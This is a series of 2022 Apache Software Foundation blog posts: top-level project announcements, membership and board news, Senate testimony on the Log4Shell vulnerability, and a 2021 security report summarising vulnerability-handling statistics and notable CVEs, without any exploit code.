The Apache Software Foundation Blog

Wednesday June 22, 2022

The Apache Software Foundation Announces Apache® InLong™ as a Top-Level Project

The Apache Software Foundation (ASF), the all-volunteer developers, stewards, and incubators of more than 350 open source projects and initiatives, announced today Apache® InLong™ as a Top-Level Project (TLP).[Read More]

Thursday June 16, 2022

The Apache Software Foundation Announces Apache® Doris™ as a Top-Level Project

Open Source Big Data MPP analytical database engine in use at Baidu, JD, Meituan, Sina, Tencent, and Xiaomi, among others.

Wilmington, DE —16 June 2022— The Apache Software Foundation (ASF), the all-volunteer developers, stewards, and incubators of more than 350 Open Source projects and initiatives, announced today Apache® Doris™ as a Top-Level Project (TLP).

Apache Doris is a modern, easy-to-use MPP (massively parallel processing) analytical database system that provides sub-second queries and efficient real-time data analysis. The project was originally developed at Baidu as "Palo", was open-sourced in 2017, and entered the Apache Incubator in July 2018.

"We are very proud that Doris graduated from the Apache Incubator —it is an important milestone," said Mingyu Chen, Vice President of Apache Doris. "Under the guidance of our incubator mentors, we learned how to successfully develop our project and community the Apache Way. We have achieved great growth during the incubation process."

Apache Doris is a database system for OLAP (online analytical processing) scenarios. It integrates Apache Impala, Google Mesa, and state-of-art vectorization technologies to provide sub-second queries and efficient real-time data analysis. Apache Doris meets rigorous data analysis demands in many business fields that include multi-dimensional reporting, user portrait, ad-hoc query, and real-time dashboards. Features include:

  • High performance: Use column storage, index, parallel execution, vectorization technology, query optimizer and many other technologies to achieve fast query response.
  • Easy-to-use: ANSI SQL syntax support. It can be easily scaled horizontally, and the data replica is automatically repaired and balanced. Does not rely on third-party services.
  • Pre-aggregation: Provides multiple pre-aggregation data models and ensures data consistency and automatic query routing.
  • Big Data ecosystem integration: Supports the connection with Apache Flink, Apache Hive, Apache Hudi, Apache Iceberg, Apache Spark, and ElasticSearch, among other systems.


Developers using Apache Doris enjoy its simplicity in deploying to hundreds of terabytes, and the ability to meet a variety of data-serving requirements in a single system.

Doris is in use at more than 500 enterprises globally, across a variety of industries such as finance, energy, manufacturing, and telecommunications, among other fields. Many of China’s top 50 Internet companies use Apache Doris, including 360, Baidu, ByteDance, JD, Kwai, Meituan, Netease, Sina, Tencent, and Xiaomi, among others. 

The project recently celebrated the release of Apache Doris 1.0, its eighth release whilst undergoing development in the Apache Incubator (along with six Connector releases), and also welcomed its 300th contributor. 

"Graduation is the starting point of a new journey," added Chen. "Our many plans for the future include continuing to develop Apache Doris, with new contributors and open source technology enthusiasts joining us to help grow our project and community together in the Apache Way."

Catch Apache Doris in action at ApacheCon Asia 2022, taking place 29-31 July https://www.apachecon.com/acasia2022/ .

Availability and Oversight
Apache Doris software is released under the Apache License v2.0 and is overseen by a self-selected team of active contributors to the project. A Project Management Committee (PMC) guides the Project's day-to-day operations, including community development and product releases. For downloads, documentation, and ways to become involved with Apache Doris, visit https://doris.apache.org/ .

About the Apache Incubator
The Apache Incubator is the primary entry path for projects and codebases wishing to become part of the efforts at The Apache Software Foundation. All code donations from external organizations and existing external projects enter the ASF through the Incubator to: 1) ensure all donations are in accordance with the ASF legal standards; and 2) develop new communities that adhere to our guiding principles. Incubation is required of all newly accepted projects until a further review indicates that the infrastructure, communications, and decision making process have stabilized in a manner consistent with other successful ASF projects. While incubation status is not necessarily a reflection of the completeness or stability of the code, it does indicate that the project has yet to be fully endorsed by the ASF. For more information, visit http://incubator.apache.org/ .

About The Apache Software Foundation (ASF)
Established in 1999, The Apache Software Foundation is the world's largest Open Source foundation, stewarding 227M+ lines of code and providing more than $22B+ worth of software to the public at 100% no cost. The ASF’s all-volunteer community grew from 21 original founders overseeing the Apache HTTP Server to 820+ individual Members and 200 Project Management Committees who successfully lead 350+ Apache projects and initiatives in collaboration with 8,400+ Committers through the ASF's meritocratic process known as "The Apache Way". Apache software is integral to nearly every end user computing device, from laptops to tablets to mobile devices across enterprises and mission-critical applications. Apache projects power most of the Internet, manage exabytes of data, execute teraflops of operations, and store billions of objects in virtually every industry. The commercially-friendly and permissive Apache License v2 is an Open Source industry standard, helping launch billion dollar corporations and benefiting countless users worldwide. The ASF is a US 501(c)(3) not-for-profit charitable organization funded by individual donations and corporate sponsors that include Aetna, Alibaba Cloud Computing, Amazon Web Services, Anonymous, Baidu, Bloomberg, Capital One, Cloudera, Comcast, Confluent, Didi Chuxing, Facebook, Google, Huawei, IBM, Indeed, LINE Corporation, Microsoft, Namebase, Pineapple Fund, Red Hat, Replicated, Salesforce, Talend, Target, Tencent, Union Investment, VMware, Workday, and Yahoo. For more information, visit http://apache.org/ and https://twitter.com/TheASF .

© The Apache Software Foundation. "Apache", "Doris", "Apache Doris", "Flink", "Apache Flink", "Hive", "Apache Hive", "Hudi", "Apache Hudi", "Iceberg", "Apache Iceberg", "Apache Impala", "Apache Impala", "Spark", "Apache Spark", and "ApacheCon" are registered trademarks or trademarks of the Apache Software Foundation in the United States and/or other countries. All other brands and trademarks are the property of their respective owners.

# # #

Wednesday June 08, 2022

The Apache Software Foundation Announces Apache® AGE™ as a Top-Level Project

Open Source PostgreSQL extension for graph database functionality in use in government agencies, research and education institutions, utility providers, and more.

Wilmington, DE —8 June 2022— The Apache Software Foundation (ASF), the all-volunteer developers, stewards, and incubators of more than 350 Open Source projects and initiatives, announced today Apache® AGE™ as a Top-Level Project (TLP).

Apache AGE ("A Graph Extension") is a PostgreSQL extension that provides graph database functionality. The project was originally developed in 2019 as an extension to AgensGraph (Bitnine Global's multi-model database fork of PostgreSQL), and entered the Apache Incubator in April 2020.

"It is incredible to see how far the AGE project has come to its maturity by graduating as a Top-Level Project from the Apache Incubator, which demonstrates the project's ability to self-govern, and furthermore to be a part of the broader ASF community," said Eya Badal Abdisho, Vice President of Apache AGE. "With AGE, our goal is to provide a multi-model database that is designed to be simple and user-friendly, which simultaneously supports the relational and graph data model. AGE enables users to integrate the legacy relational data model and the flexible graph data model in one database."

AGE is a PostgreSQL extension that adds graph query functionality to Postgresql. Through using the Cypher query language in accordance with the openCypher specification, users can access, store and query graph data using PostgreSQL. Users may read and write nodes and edges stored in Postgres, as well as use various algorithms such as variable length edge traversal to analyze data in AGE. Other features include:

  • Support for openCypher query language
  • Hybrid querying using SQL and Cypher
  • Querying multiple graphs
  • Property indexes on both vertices and edges
  • Integration with Postgres' existing features


Hybrid queries are queries using both openCypher and SQL together. These queries allow data to move between the regular relational database and the graph representation that AGE provides.

AGE is in use across a variety of user organizations, including government agencies, research and education institutions, and utility providers, among others.

"We are very pleased that Apache AGE is the first formal graph database project of the Apache Software Foundation to achieve top-level graduation. We believe that it is a result that proves the development of the only graph database extension based on RDB," said Cheolsun Kang, CEO of Bitnine Global. "In the future, Bitnine Global will continue to support the development of Apache AGE. We are advancing our product by developing a service subscription model based on Apache AGE product support."

"I have been advising my clients to watch this space. The potential of Apache AGE, as a multi-model database, to fill an unmet ‘best of both worlds’ niche was evident," said Jasper Blues, CEO of Liberation Data. "With the community behind it, I’m not at all surprised in the way that AGE has blazed ahead towards that prospective future.

Congratulations to the Apache AGE community on the successes to date! With this graduation milestone, I’m proud to recommend AGE to a number of clients in the SE Asia/Oceania region. For them, a CYPHER-compatible ACID graphDB built on a rock solid foundation is perfect for their business cases."

"Postgres’s fundamental architecture has created a rich ecosystem of extensions and made Postgres the de-facto choice for developers and enterprises looking for a next-generation flagship data platform. AGE continues to build on that tradition and adds powerful graph analytics functionality to the traditional relational data platforms," said Mehboob Alam, Postgres community advocate. "Melding traditional analytics and real-time graph intelligence is going to be a game-changer and AGE will be instrumental in this exciting future."

The project recently released Apache AGE v1.0.0-incubating, the sixth release whilst undergoing development in the Apache Incubator. Future releases of Apache AGE will support PostgreSQL 12 and higher, more key features from AgensGraph, and will be further improved to be a compatibility extension for all relational DB, starting with integration into MySQL and MariaDB.

"Graduating as an Apache Top-Level Project is only the beginning, our journey continues through the excellent efforts of the greater Apache AGE community," added Badal Abdisho. "Join our community. We always welcome new additions and contributions to the Apache AGE project to help data communities explore and utilize the benefits of graph technologies, under the Apache Way."

Catch Apache AGE in action at ApacheCon Asia 2022 (29-31 July; https://apachecon.com/acasia2022/), and PostgreSQL Conference Europe (25-28 October; https://2022.pgconf.eu/)

Availability and Oversight
Apache AGE software is released under the Apache License v2.0 and is overseen by a self-selected team of active contributors to the project. A Project Management Committee (PMC) guides the Project's day-to-day operations, including community development and product releases. For downloads, documentation, and ways to become involved with Apache AGE, visit https://age.apache.org and https://twitter.com/apache_age .

About the Apache Incubator
The Apache Incubator is the primary entry path for projects and codebases wishing to become part of the efforts at The Apache Software Foundation. All code donations from external organizations and existing external projects enter the ASF through the Incubator to: 1) ensure all donations are in accordance with the ASF legal standards; and 2) develop new communities that adhere to our guiding principles. Incubation is required of all newly accepted projects until a further review indicates that the infrastructure, communications, and decision making process have stabilized in a manner consistent with other successful ASF projects. While incubation status is not necessarily a reflection of the completeness or stability of the code, it does indicate that the project has yet to be fully endorsed by the ASF. For more information, visit http://incubator.apache.org/ . 

About The Apache Software Foundation (ASF)
Established in 1999, The Apache Software Foundation is the world's largest Open Source foundation, stewarding 227M+ lines of code and providing more than $22B+ worth of software to the public at 100% no cost. The ASF’s all-volunteer community grew from 21 original founders overseeing the Apache HTTP Server to 820+ individual Members and 200 Project Management Committees who successfully lead 350+ Apache projects and initiatives in collaboration with 8,400+ Committers through the ASF's meritocratic process known as "The Apache Way". Apache software is integral to nearly every end user computing device, from laptops to tablets to mobile devices across enterprises and mission-critical applications. Apache projects power most of the Internet, manage exabytes of data, execute teraflops of operations, and store billions of objects in virtually every industry. The commercially-friendly and permissive Apache License v2 is an Open Source industry standard, helping launch billion dollar corporations and benefiting countless users worldwide. The ASF is a US 501(c)(3) not-for-profit charitable organization funded by individual donations and corporate sponsors that include Aetna, Alibaba Cloud Computing, Amazon Web Services, Anonymous, Baidu, Bloomberg, Capital One, Cloudera, Comcast, Confluent, Didi Chuxing, Facebook, Google, Huawei, IBM, Indeed, LINE Corporation, Microsoft, Namebase, Pineapple Fund, Red Hat, Replicated, Salesforce, Talend, Target, Tencent, Union Investment, VMware, Workday, and Yahoo. For more information, visit http://apache.org/ and https://twitter.com/TheASF . 

© The Apache Software Foundation. "Apache", "AGE", "Apache AGE", and "ApacheCon" are registered trademarks or trademarks of the Apache Software Foundation in the United States and/or other countries. All other brands and trademarks are the property of their respective owners.

# # #

Monday May 16, 2022

The Apache Software Foundation Announces Apache® YuniKorn™ as a Top-Level Project

Open Source universal Big Data and Machine Learning resource scheduler in use at Alibaba, Apple, Cloudera, Lyft, Visa, and Zillow, among others.

Wilmington, DE —16 May 2022— The Apache Software Foundation (ASF), the all-volunteer developers, stewards, and incubators of more than 350 Open Source projects and initiatives, announced today Apache® YuniKorn™ as a Top-Level Project (TLP).

Apache YuniKorn is a cloud-native, standalone Big Data and Machine Learning resource scheduler for batch jobs and long-running services on large scale distributed systems. The project was originally developed at Cloudera in March 2019, entered the Apache Incubator in January 2020, and graduated as a Top-Level Project in March 2022.

"The Apache YuniKorn community is striving together to solve the resource scheduling problems on the cloud," said Weiwei Yang, Vice President of Apache YuniKorn. "It's really great to see the Apache Way shine in the incubating process of YuniKorn. We are lucky to have such an open, collaborative, and diverse community, which is sympathetic and cares about everyone's success. This motivates us to keep evolving and gets better every day."

Apache YuniKorn natively supports Big Data application workloads and mixed workloads, and provides a unified, cross-platform scheduling experience. Features include:

  • Cloud native —runs on-premise and in a variety of public cloud environments; maximizes resource elasticity with better throughput.

  • Hierarchical resource queues —efficiently manages cluster resources; provides the ability to control the resource consumption for each tenant.

  • Application-aware scheduling —recognizes users, applications, and queues; schedules according to submission order, priority, resource usage, and more.

  • Job ordering —built-in robust scheduling capabilities; supports fairness-based cross-queue preemption, hierarchies, pluggable node sorting policies, preemption, and more.

  • Central management console —monitors performance across different tenants; one-stop-dashboard tracks resource utilization for managed nodes, clusters, applications and queues.

  • Efficiency —reduces resource fragmentation and proactively triggers up-scaling; cloud elasticity lowers overall operational costs.

In addition, the Project has announced the release of Apache YuniKorn v1.0, the fifth update since entering the Apache Incubator. Improvements include: 

  • Decreased memory and cpu usage
  • Extended metrics and diagnostics information
  • New deployment model supporting future upgrades
  • Technical preview of the plugin deployment mode

Optimized to run Apache Spark on Kubernetes (open source software container orchestration system), Apache YuniKorn’s performance makes it an optional replacement to the Kubernetes default scheduler. Apache YuniKorn excelled in benchmark tests with other schedulers in resource sharing, resource fairness, preemption, gang scheduling, and bin packing categories, with throughput exceeding 610 allocations per second across 2,000 nodes. 

YuniKorn is in use at Alibaba, Apple, Cloudera, Lyft, Visa, and Zillow, among others.

"We're thrilled to see this offering come to fruition. Apache YuniKorn powers Apache Spark workloads for Cloudera Data Engineering (CDE), a key Kubernetes-based service supporting the Cloudera Data Platform," said Vinod Kumar Vavilapalli, Senior Director, Engineering at Cloudera and former PMC chair of Apache Hadoop. "As part of Cloudera’s Public and Private Cloud offerings, Apache YuniKorn adds tremendous flexibility and control when running large-scale analytics, enabling customers to better optimize the performance and value of their deployments."

"Apache YuniKorn is an essential infra service for bringing Big Data/ML workloads onto the cloud," said Chunde Ren, Engineering Manager at Alibaba Big Data Open-source team. "YuniKorn brings better scheduling capabilities, performance, elasticity, and usability for running workloads on Kubernetes, especially for Big Data and Machine Learning workloads, which benefits many users on the cloud. It's a great pleasure for us to have participated in the YuniKorn community since its inception and to see it grow up to be a Top-Level Project."

"Apache YuniKorn is becoming a popular choice for those who want to run Big Data workloads on Kubernetes, with more use cases developing," added Yang. "We welcome all who are interested to join the YuniKorn community and work with us on solving these challenging problems."

Catch Apache YuniKorn in action at Kubernetes Batch + HPC Day Europe (17 May 2022 in Valencia, Spain https://sched.co/10F0t ) and Spark AI Summit 2022 (27-30 June in San Francisco and online https://databricks.com/dataaisummit/north-america-2022/agenda/?sessionid=1388 ).

Availability and Oversight
Apache YuniKorn software is released under the Apache License v2.0 and is overseen by a self-selected team of active contributors to the project. A Project Management Committee (PMC) guides the Project's day-to-day operations, including community development and product releases. For downloads, documentation, and ways to become involved with Apache YuniKorn, visit https://yunikorn.apache.org/ and https://twitter.com/YuniKorn_Sched .

About the Apache Incubator
The Apache Incubator is the primary entry path for projects and codebases wishing to become part of the efforts at The Apache Software Foundation. All code donations from external organizations and existing external projects enter the ASF through the Incubator to: 1) ensure all donations are in accordance with the ASF legal standards; and 2) develop new communities that adhere to our guiding principles. Incubation is required of all newly accepted projects until a further review indicates that the infrastructure, communications, and decision making process have stabilized in a manner consistent with other successful ASF projects. While incubation status is not necessarily a reflection of the completeness or stability of the code, it does indicate that the project has yet to be fully endorsed by the ASF. For more information, visit http://incubator.apache.org/ 

About The Apache Software Foundation (ASF)
Established in 1999, The Apache Software Foundation is the world’s largest Open Source foundation, stewarding 227M+ lines of code and providing more than $22B+ worth of software to the public at 100% no cost. The ASF’s all-volunteer community grew from 21 original founders overseeing the Apache HTTP Server to 820+ individual Members and 200 Project Management Committees who successfully lead 350+ Apache projects and initiatives in collaboration with 8,400+ Committers through the ASF’s meritocratic process known as "The Apache Way". Apache software is integral to nearly every end user computing device, from laptops to tablets to mobile devices across enterprises and mission-critical applications. Apache projects power most of the Internet, manage exabytes of data, execute teraflops of operations, and store billions of objects in virtually every industry. The commercially-friendly and permissive Apache License v2 is an Open Source industry standard, helping launch billion dollar corporations and benefiting countless users worldwide. The ASF is a US 501(c)(3) not-for-profit charitable organization funded by individual donations and corporate sponsors that include Aetna, Alibaba Cloud Computing, Amazon Web Services, Anonymous, Baidu, Bloomberg, Capital One, Cloudera, Comcast, Confluent, Didi Chuxing, Facebook, Google, Huawei, IBM, Indeed, LINE Corporation, Microsoft, Namebase, Pineapple Fund, Red Hat, Replicated, Talend, Target, Tencent, Union Investment, VMware, Workday, and Yahoo!. For more information, visit http://apache.org/ and https://twitter.com/TheASF 

© The Apache Software Foundation. "Apache", "YuniKorn", "Apache YuniKorn", and "ApacheCon" are registered trademarks or trademarks of the Apache Software Foundation in the United States and/or other countries. All other brands and trademarks are the property of their respective owners.

# # #

Monday April 04, 2022

The Apache Software Foundation Welcomes 52 New Members

The Apache Software Foundation (ASF) welcomes the following new Members who were elected during the annual ASF Members' Meeting on 1 and 3 March 2022:

Akira Ajisaka, Ahmet Altay, Mike Beckerle, Ash Berlin-Taylor, László Bodor, Michael Bolz, Javier Borkenztain, Robert Bradshaw, Etienne Chauchot, Zili Chen, Marcus Christie, Ed Coleman, Lidong Dai, Heng Du, Eric Friedrich, Sunil Govindan, Anshum Gupta, Xiaoqiao He, Alex Herbert, Jim Hughes, Zhiyuan Ju, Zhenxu Ke, Calvin Kirs, Carter Kozak, Benjamin Lerer, Yizhi Liu, Alfonso Nishikawa Muñumer, Lukas Ott, Eric Payne, Brian Proffitt, Lee Rhodes, Kevin Risden, Alexey Romanenko, Ryan Skraba, Mechtilde Stehmann, Michael Stehmann, Kouhei Sutou, Jerry Tan, Zhankun Tang, Chia-Ping Tsai, Isuru Udana, Dimuthu Upeksha, Talat Uyarer, Roger Whitcomb, Liu Xun, Weiwei Yang, Volkan Yazici, Tilmann Zäschke, Stamatis Zampetakis, Wenli Zhang, Yanhui Zhao, Xinyu “Yukon” Zhou.

In addition, ASF Members Eric Pugh and Jason van Zyl have been reinstated from emeritus status.

The ASF incorporated in 1999 with a core membership of 21 individuals who oversaw the progress of the Apache HTTP Server. This group grew with Committers —developers who contributed code, patches, documentation, and other contributions, and were subsequently granted access by the Membership:

  • to "commit" or "write" directly to Apache code repositories as well as make non-code contributions;
  • the right to vote on community-related decisions; and
  • the ability to propose an active contributor for Committership.


Those Committers who demonstrate merit in the Foundation's growth, evolution, and progress are nominated for ASF Membership by existing Members.

This election brings the total number of active ASF Members to 918 today. Individuals elected as ASF Members legally serve as the "shareholders" of the Foundation https://www.apache.org/foundation/governance/members.html

For more information, visit

# # #

Friday April 01, 2022

Your call is important to us: The Apache Software Foundation’s Infrastructure team unveils new support line

The Apache Software Foundation (ASF) Infrastructure team is laser-focused on providing world-class support for ASF Infrastructure, so we’re pleased to announce the Infra team's voice-activated response line at +1 717-7-APACHE (*).


The service allows callers to leave messages for specific Infrastructure team members, to report issues to the whole team, and to access resources ranging from fast facts to tutorials.


The service can take a spoken report of an issue with Apache’s infrastructure and convert it to a ticket in the Jira issue system that Apache uses to track and resolve issues. The goal is to provide an alternative method of delivering reports that may be faster and more convenient than filling out a form at a website. 


The Infrastructure team looks forward to user feedback so it can identify and deal with any issues in the workflow and process requests for enhancements.


The service is available at +1 717-7-APACHE.


(*) +1 717-727-2243

Thursday March 03, 2022

Announcing New ASF Board of Directors

At The Apache Software Foundation (ASF) Annual Members' Meeting held this week, the following individuals were elected to the ASF Board of Directors:

  • Rich Bowen (former Director)
  • Bertrand Delacretaz (current Director)
  • Christofer Dutz (new Director)
  • Roy T. Fielding (current Director)
  • Sharan Foga (current Director)
  • Willem Jiang (new Director)
  • Sam Ruby (current Director)
  • Roman Shaposhnik (current Director)
  • Sander Striker (current Director)


The ASF thanks Justin Mclean, Craig Russell, and Sheng Wu for their service, and welcomes our new and returning directors.

An overview of the ASF's governance, along with the complete list of ASF Board of Directors, Executive Officers, and Project/Committee Vice Presidents, can be found at http://apache.org/foundation/ 

For more information on the Foundation's operations and structure, see http://apache.org/foundation/how-it-works.html#structure 

# # #

Tuesday February 08, 2022

Foundation Statement at 8 February 2022 Senate Committee hearing on Homeland Security and Government Affairs

“Responding to and Learning from the Log4Shell Vulnerability”

Opening Statement by David Nalley

President, Apache Software Foundation

Senate Committee on Homeland Security and Government Affairs

February 8, 2022


    Chairman Peters, Ranking Member Portman, and distinguished members of the Committee: thank you for the invitation to appear this morning.

    My name is David Nalley, and I am the President of the Apache Software Foundation (ASF). The ASF is a non-profit public-benefit charity established in 1999 to facilitate the development of open source software. Thanks to the ingenuity and collaboration of our community of programmers, the ASF has grown into one of the largest open source organizations in the world. Today, more than 650,000 contributors around the world contribute to more than 350 ongoing projects, comprising more than 237 million lines of code.

    Open source is not simply a large component of the software industry -- it is one of the foundations of the modern global economy. Whether they realize it or not, most businesses, individuals, non-profits, or government agencies depend on open source; it is an indispensable part of America’s digital infrastructure.

    Projects developed from open source, like Log4j, tend to resolve problems that many people have, essentially serving as reusable building blocks for solving those problems. This enables faster innovation because it eliminates the need for every company or developer to reimplement software for already solved problems. This efficiency allows programmers to stand on the shoulders of giants. The ASF provides a vendor-neutral environment to enable interested programmers – oftentimes direct competitors of one another – to do this common work together in transparent, open-handed cooperation.

This is the essence of open-source software: brilliant individuals contributing their time and expertise to do unglamorous work solving problems – many with the intent of incorporating the results into their employer’s products. And it’s why I’ve dedicated my professional life to it.

    Log4j – first released by Apache in 2001 – is the product of just this kind of collaboration. It performs a particular set of functions, like recording a computer’s operating events, so well that it has been used in products as diverse as storage management software, software development tools, virtualization software and (most famously) the Minecraft video game. As Log4j’s footprint grew over the years, so did its feature list. It was a 2013 addition to Log4j, along with a part of the Java programming environment, that combined in such a way that exposed this security flaw.

    The vulnerability was reported to Apache’s Log4j team late November 2021, after having been latent for many years. The Apache Logging project, and Apache’s Security team immediately got to work addressing the vulnerability in the code. The full solution was released approximately two weeks later. Given the near ubiquity of Log4j’s use, it may be months or even years before all deployed instances of this vulnerability are eliminated. As a software professional myself, I am proud of how the Logging project and the ASF’s security team (and many others across the ASF’s projects) responded and remediated last fall. We acted quickly and in accordance with practices we have adopted over many years of supporting a diverse set of open source projects. We will continue to develop our projects in responding to and preventing security vulnerabilities.

    Moreover, every stakeholder in the software industry – including its largest customers, like the federal government – should be investing in software supply chain security. While ideas like the Software Bills of Materials won’t prevent vulnerabilities, they can mitigate the impact by accelerating the identification of potentially vulnerable software. However, the ability to quickly update to the most secure and up-to-date versions remains a significant hurdle for the software industry.

    The reality is that humans write software, and as a result there will continue to be bugs, and despite best efforts some of those will include security vulnerabilities. As we continue to become ever more connected and digital, the number of vulnerabilities and potential consequences are likely to grow. There is no easy software security solution - it requires defense in depth – incorporating upstream development in open source projects, vendors that incorporate these projects, developers that make use of the software in custom applications, and even down to the organizations that deploy these applications to provide services important to their users.

    Rather than shying away from this risk, I submit that software developers, open-source communities, and federal policymakers should face it head-on together – with the determination and the vigilance it demands.

    Thank you again, and I look forward to answering any questions you might have.

Thursday January 13, 2022

Apache Software Foundation statement on White House Open Source Security Summit

The Apache Software Foundation (ASF) participated today in a meeting hosted by the White House to discuss security of open source software, and how to improve the "supply chain" of open source software to better facilitate the rapid adoption of security fixes when necessary.


The virtual summit included representation from a number of companies and U.S. departments and agencies. Three representatives of the ASF participated in the virtual summit, ASF President David Nalley, VP of Security Mark Cox, and ASF board member Sam Ruby.

Securing open source and its supply chain


The ASF produces software for the public good. We are committed to working with the larger community, including industry and government consumers of open source software, to find ways to improve security while adhering to The Apache Way.


This means that we believe the path forward will require upstream collaboration by the companies and organizations that consume and ship open source software. There's no single "silver bullet" to get there, and it will take all of our organizations working together to improve the open source supply chain.


Since its inception more than 20 years ago, the ASF has evolved and adapted to meet the changing needs of its mission: to provide software in the public good, by providing support and services of its project communities. To do this, we've refined our governance models, our infrastructure, recommended best practices, and more over the years. 


We expect to continue to evolve and improve over the next 20 years, and helping to improve the security of the open source supply chain is part of that. We are committed to doing the work through our communities to help make that a reality.

Communities thrive on conversation

Those who are familiar with the ASF know that we value community and having a level playing field for contributors. We believe today’s conversation is a good beginning that can help catalyze and direct a wider response to addressing today’s security needs for open source software. 


Many of the organizations represented today are important contributors and consumers of open source, but of course are not all of the important contributors or consumers. We know that it’s important to hear from individual contributors as well as corporations, foundations and government entities. For our part, we’ll strive to make sure that happens.


As always, we welcome participation and contributions in our communities from those who wish to show up and be part of the projects that are part of the ASF. We appreciate the opportunity to participate in today’s conversation, and look forward to participating in the follow on conversations that this effort inspired.

Monday January 10, 2022

Apache Software Foundation Security Report: 2021

Synopsis: This report explores the state of security across all of The Apache Software Foundation projects for the calendar year 2021. We review key metrics, specific vulnerabilities, and the most common ways users of ASF projects were affected by security issues.


Released: January 2022


Author: Mark Cox, Vice President Security, The Apache Software Foundation

Background

The security committee of The Apache Software Foundation (ASF) oversees and coordinates the handling of vulnerabilities across all of the 350+ Apache projects.  Established in 2002 and composed of all volunteers, we have a consistent process for how issues are handled, and this process includes how our projects must disclose security issues.


Anyone finding security issues in any Apache project can report them to security@apache.org where they are recorded and passed on to the relevant dedicated security teams or private project management committees (PMC) to handle.  The security committee monitors all the issues reported across all the projects and keeps track of the issues throughout the vulnerability lifecycle.  


The security committee is responsible for ensuring that issues are dealt with properly and actively reminds projects of their outstanding issues and responsibilities.  As a board committee, we have the ability to take action including blocking their future releases or, worst case, archiving a project if such projects are unresponsive to handling their security issues.  This, along with the Apache License v2,0, are key parts of the ASF’s general oversight function around official releases, allowing the ASF to protect individual developers and giving users confidence to deploy and rely on ASF software.  


The oversight into all security reports, along with tools we have developed, gives us the ability to easily create metrics on the issues.  Our last report covered the metrics for 2020.

Statistics for 2021

In 2021 our security email addresses received in total ~18,500 emails. After spam filtering and thread grouping there were 1272 (2020: 946, 2019: 620) non-spam threads.  Unfortunately security reports do sometimes look like spam, especially if they include lots of attachments or large videos, and so the security team are careful to review all messages to ensure real reports are not missed for too long.


Diagram 1: Breakdown of ASF security email threads for calendar year 2021


Diagram 1 gives the breakdown of those 1272 threads.  359 threads (28%) were people confused by the Apache License.  As many projects use the Apache License, not just those under the ASF umbrella, people can get confused when they see the Apache License and they don't understand what it is. This is most common for example on mobile phones where the licenses are displayed in the settings menu, usually due to the inclusion of software by Google released under the Apache License.  We no longer reply to these emails. This is up from the 257 received in 2020.


The next 337 of the 1272 (26%) are email threads with people asking non-security (usually support-type) questions.


The next 135 of those reports were researchers reporting issues in an Apache web site.  These are almost always false positives; where a researcher reports us having directory listings enabled, source code visible, public “.git” directories, and so on.  These reports are generally the unfiltered output of some publicly available scanning tool, and often where the reporter asks us for some sort of monetary reward (bounty) for their report.


That left 441 (2020: 376, 2019: 320) reports of new vulnerabilities in 2021, which spanned 99 of the top level projects.  These 441 reports are a mix of external reporters and internal. For example, where a project has found an issue themselves and followed the ASF process to assign it a CVE (Common Vulnerabilities and Exposures) name and address it, we’d still count it here.  We don’t keep metrics that would give the breakdown of internal vs external reports.


The next step is that the appropriate project triages the report to see if it's really an issue or not.  Invalid reports and reports of things that are not actually vulnerabilities get rejected back to the reporter.  Of the remaining issues that are accepted they are assigned appropriate CVE names and eventually fixes are released.


As of January 1st 2022, 50 of those 441 reports were still under triage and investigation. This is where a project was working on an issue and had not rejected the issue or assigned it a CVE as of the snapshot taken on January 1st 2022.  This number was higher than what we’d normally expect and was due to the large influx of reports that came at the end of December 2021.


The remaining 391 (2020: 341, 2019: 301) reports led to us assigning 183 (2020: 151, 2019: 122) CVE names.  Some vulnerability reports may include multiple issues, some reports are across multiple projects, and some reports are duplicates where the same issue is found by different reporters, so there isn't an exact one-to-one mapping of accepted reports to CVE names.  The Apache Security committee handles CVE name allocation and is a MITRE Candidate Naming Authority (CNA), so all requests for CVE names in any ASF project are routed through us, even if the reporter is unaware and contacts MITRE directly or goes public with an issue before contacting us.

Noteworthy events

During 2021 there were a few events worth discussing; either because they were severe and high risk, they had readily available exploits, or there was media attention. These included:

  • January: A cross-site scripting (XSS) flaw was found in the default error page of Apache Velocity (CVE-2020-13959) which affected a number of public visible websites. Despite a fix being available it then took several months to produce a new release to include the fix, causing the reporter to publicise it early. As a consequence, the security team did a deeper dive through all the outstanding open issues with the affected PMCs to ensure they were all being handled.

  • January: A report was published which showed how malware is still exploiting Apache ActiveMQ instances that have not been patched for over 5 years (CVE-2016-3088)

  • June: The Airflow PMC published a blog about how they handle security issues, how users are sometimes slow to deploy updates (CVE-2020-17526), and how flaws in dependencies can affect Airflow.

  • July: A third-party blog explained how threat actors are exploiting mis-configured Apache Hadoop YARN services

  • August: A researcher discovered a number of issues in HTTP/2 implementations.  The Apache HTTP Server was affected by a moderate vulnerability (CVE-2021-33193)

  • September: A keynote presentation at ApacheCon 2021 discussed the security committee, the US Executive Order on Improving the Nation’s Cybersecurity, and third party security projects such as those under the OpenSSF.

  • September: A flaw in Apache OpenOffice could allow a malicious document to run arbitrary code if opened (CVE-2021-33035)

  • October: A critical issue was found in the Apache HTTP Server. The default configuration protected against this vulnerability, but in custom configurations without those protections, and with CGI support enabled, this could lead to remote code execution (CVE-2021-41773). The issue was fixed in an update 5 days after the issue was reported to the security team, however the fix was quickly found to be insufficient and a further update to fully address it was released 3 days after that (CVE-2021-42013). A MetaSploit exploit exists for this issue.

  • October: The Internet Bug Bounty from HackerOne extended their program to include Apache Airflow, the Apache HTTP Server, and Apache Commons.  Unlike many other programs, this program relies on vulnerability finders following the standard ASF notification process, and allows finders to claim a reward for eligible issues after the fix is available and the issue is public.

  • December: A vulnerability in Log4J 2 (CVE-2021-44228, “Log4Shell”), a popular and common Java logging library, allowed remote attackers to achieve remote code execution in a default and likely installation.  The issue was widely exploited, starting the day before a release with a fix was published.  There is a MetaSploit exploit module for this issue. After the fixed release a few subsequent Log4J vulnerabilities were also fixed, but none had the same impact or default conditions.  

  • December: The ASF is invited to a forum in 2022 around open source security. White House Extends Invitation to Improve Open-Source Security.  We produced a position paper in advance of the meeting.

Timescales

Our security teams and project management teams are all volunteers and so we do not give any formal SLA on the handling of issues.  However we can break down our aims and goals for each part of the process:


Triage: Our aim is to handle incoming mails to the security@apache.org alias within three working days.  We do not measure or report on this because we assess the severity of each incoming issue and apply the limited resources we have appropriately.  The alias is staffed by a very small number of volunteers taken from the different project PMCs.  After the security team forwards a report to a PMC, the PMC will reply to the reporter.  Sometimes reporters send reports attaching large PDF files or even movies of exploitation that don’t make it to us due to size restrictions on incoming email, so please ensure any follow ups are a simple plain text email.


